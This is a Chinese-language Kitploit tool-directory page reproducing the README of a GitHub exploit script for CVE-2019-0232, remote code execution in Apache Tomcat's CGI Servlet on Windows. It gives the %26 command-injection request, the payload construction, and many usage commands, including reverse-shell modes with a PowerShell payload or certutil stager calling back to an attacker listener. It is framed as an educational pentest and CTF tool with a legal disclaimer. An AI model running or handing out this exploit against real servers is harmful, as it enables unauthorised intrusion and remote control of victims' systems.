Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2019-0232 — Apache Tomcat CGI Servlet 远程代码执行 (Windows) | Kitploit
工具/GitHubGitHub/blackjuker2/cve-2019-0232
漏洞扫描器Payload生成漏洞利用ShellcodeWeb应用程序漏洞利用模糊测试渗透测试学习与教育远程访问工具
GitHubblackjuker2/cve-2019-0232

CVE-2019-0232

Apache Tomcat CGI Servlet 远程代码执行 (Windows)

查看仓库
12个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2019-0232 — Apache Tomcat CGI Servlet RCE

仅用于授权的CTF/渗透测试的教育性PoC。
针对非您拥有或未获得明确书面许可的系统运行此工具是违法的。


漏洞概述

CVE-2019-0232 是 Windows 上 Apache Tomcat 中的一个远程代码执行漏洞。
当 CGI Servlet 的 enableCmdLineArguments=true(补丁前 Windows 上的默认设置)时,Tomcat 通过 Runtime.exec() 将 HTTP 查询字符串直接作为命令行参数传递给 CGI 批处理文件。在 Windows 上,Runtime.exec() 使用 cmd.exe /c 封装调用,使得 & 命令分隔符在这些参数中生效。

攻击者可以通过在 URL 中包含 &(URL 编码为 %26)来注入第二条 OS 命令:

root@kitploit:~
GET /cgi-bin/cmd.bat?%26whoami HTTP/1.1

# Tomcat URL解码 → cmd.exe /c cmd.bat &whoami
# cmd.exe 看到 &,在 cmd.bat 退出后执行 whoami

受影响版本(仅 Windows)

分支受影响范围修复版本
9.0.x9.0.0.M1 – 9.0.179.0.18
8.5.x8.5.0 – 8.5.398.5.40
7.0.x7.0.0 – 7.0.937.0.94

要求: conf/web.xml 中设置 enableCmdLineArguments=true(补丁前 Windows 上的默认设置)。


功能

  • 自动模式 — 完整链条:枚举 → 模糊测试 CGI 路径 → 交互式 Shell
  • 版本检测 — 从 HTTP 头部和错误页面识别 Tomcat 版本
  • CGI 路径模糊测试器 — 多线程,内置字典 + 可选自定义字典(-w)
  • 单条命令 — 执行一条命令并打印输出(--cmd)
  • 交互式 HTTP Shell — 基于 HTTP 的 REPL 循环,每条命令一个新请求
  • 反向 Shell — 内置 TCP 监听器
    • PowerShell Base64 编码载荷(默认)
    • certutil 暂存器(备用)
  • PATH 注入 — 自动设置 System32、Windows、Wbem、PowerShell,使 whoami、ipconfig、netstat、powershell.exe 无需完整路径即可运行
  • 错误输出合并 — 自动附加 2>&1,使错误输出可见
  • Burp 代理支持 — 通过 --proxy http://127.0.0.1:8080 路由流量

安装

root@kitploit:~
git clone https://github.com/blackjuker2/CVE-2019-0232.git
cd CVE-2019-0232
pip install -r requirements.txt

需要 Python 3.8+。


使用方法

root@kitploit:~
python3 cve_2019_0232.py -t <TARGET_URL> [options]

模式

标志描述
--auto枚举 → 模糊测试 → 进入交互式 Shell
--enum仅枚举 Tomcat 版本和 CGI 路径
--fuzz模糊测试可访问的 .bat/.cmd 端点
--cmd COMMAND执行一条命令
--interactive交互式 HTTP Shell 循环
--reverse-shell生成反向 Shell(需要 --lhost)

示例

自动模式 — 让脚本自动发现所有内容:

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --auto

在已知端点上执行单条命令:

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --cmd whoami

交互式 Shell 循环:

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --interactive

完整自动链条 → 反向 Shell(无需单独开启 nc):

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --auto --reverse-shell --lhost 10.10.14.x --lport 4444

脚本在 --lport 上开启自己的 TCP 监听器,发送 PowerShell 载荷,当目标回连时进入交互式 Shell。

在已知路径上使用 PowerShell 反向 Shell:

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --reverse-shell --lhost 10.10.14.x --lport 4444

使用 certutil 暂存器(如果 PowerShell 被拦截):

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --reverse-shell --lhost 10.10.14.x --lport 4444 --shell-method certutil

使用自定义字典进行模糊测试:

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --fuzz -w /usr/share/dirb/wordlists/common.txt

无文件扩展名的条目会自动以 .bat 和 .cmd 两种形式探测。

通过 Burp Suite 路由:

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --cmd whoami --proxy http://127.0.0.1:8080

在每次请求前显示原始注入 URL:

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --interactive --show-url

所有选项

root@kitploit:~
定位参数 / 必需参数:
  -t, --target URL        目标基础 URL,例如 http://10.10.10.x:8080

路径:
  -p, --path PATH         已知的 CGI 脚本路径,例如 /cgi/cmd.bat

模式:
  --auto                  完整链条:枚举 → 模糊测试 → 交互式
  --enum                  枚举 Tomcat 版本和 CGI 路径
  --fuzz                  模糊测试可访问的 CGI 脚本端点
  --cmd COMMAND           执行一条命令并打印输出
  --interactive           交互式命令循环(HTTP Shell)
  --reverse-shell         发送 PowerShell 反向 Shell

反向 Shell:
  --lhost IP              您的监听器 IP(HTB/OSCP 中可用 tun0)
  --lport PORT            您的监听器端口(默认:4444)
  --shell-method {ps,certutil}
                          载荷类型:ps(默认)或 certutil 暂存器

选项:
  -w, --wordlist FILE     额外的 CGI 名称用于模糊测试(每行一个)
  --threads N             模糊测试线程数(默认:15)
  --timeout N             HTTP 超时时间(秒,默认:10)
  --proxy URL             HTTP 代理,例如 http://127.0.0.1:8080
  --no-ssl-verify         禁用 TLS 证书验证
  --show-url              每次请求前打印完整的注入 URL

注入原理

脚本分三步构建注入 URL:

  1. PATH 注入 — 将命令包裹在一个先设置 PATH 的组中:

    root@kitploit:~
    (SET PATH=C:\Windows\System32;C:\Windows;...&echo.&<your command> 2>&1)
    

    echo. 输出一个空行,满足 Tomcat 的 CGI 头部解析器,使响应体可见。

  2. URL 编码 — 通过 urllib.parse.quote 将空格转换为 +,特殊字符转换为 %XX。

  3. 注入点 — 编码后的组放置在 %26(& 分隔符)之后:

    root@kitploit:~
    /cgi/cmd.bat?%26(SET+PATH=...%26echo.%26whoami+2>%261)
    

测试环境

  • Apache Tomcat 9.0.17 on Windows Server 2019
  • Python 3.11 / 3.12 on Kali Linux

参考资料

  • NVD — CVE-2019-0232
  • Apache 安全公告
  • Exploit-DB #47073

法律免责声明

本工具仅用于教育目的和授权的安全测试。
作者不对任何因使用本工具造成的滥用或损害负责。
在测试任何系统前,务必获得明确的书面许可。

下载工具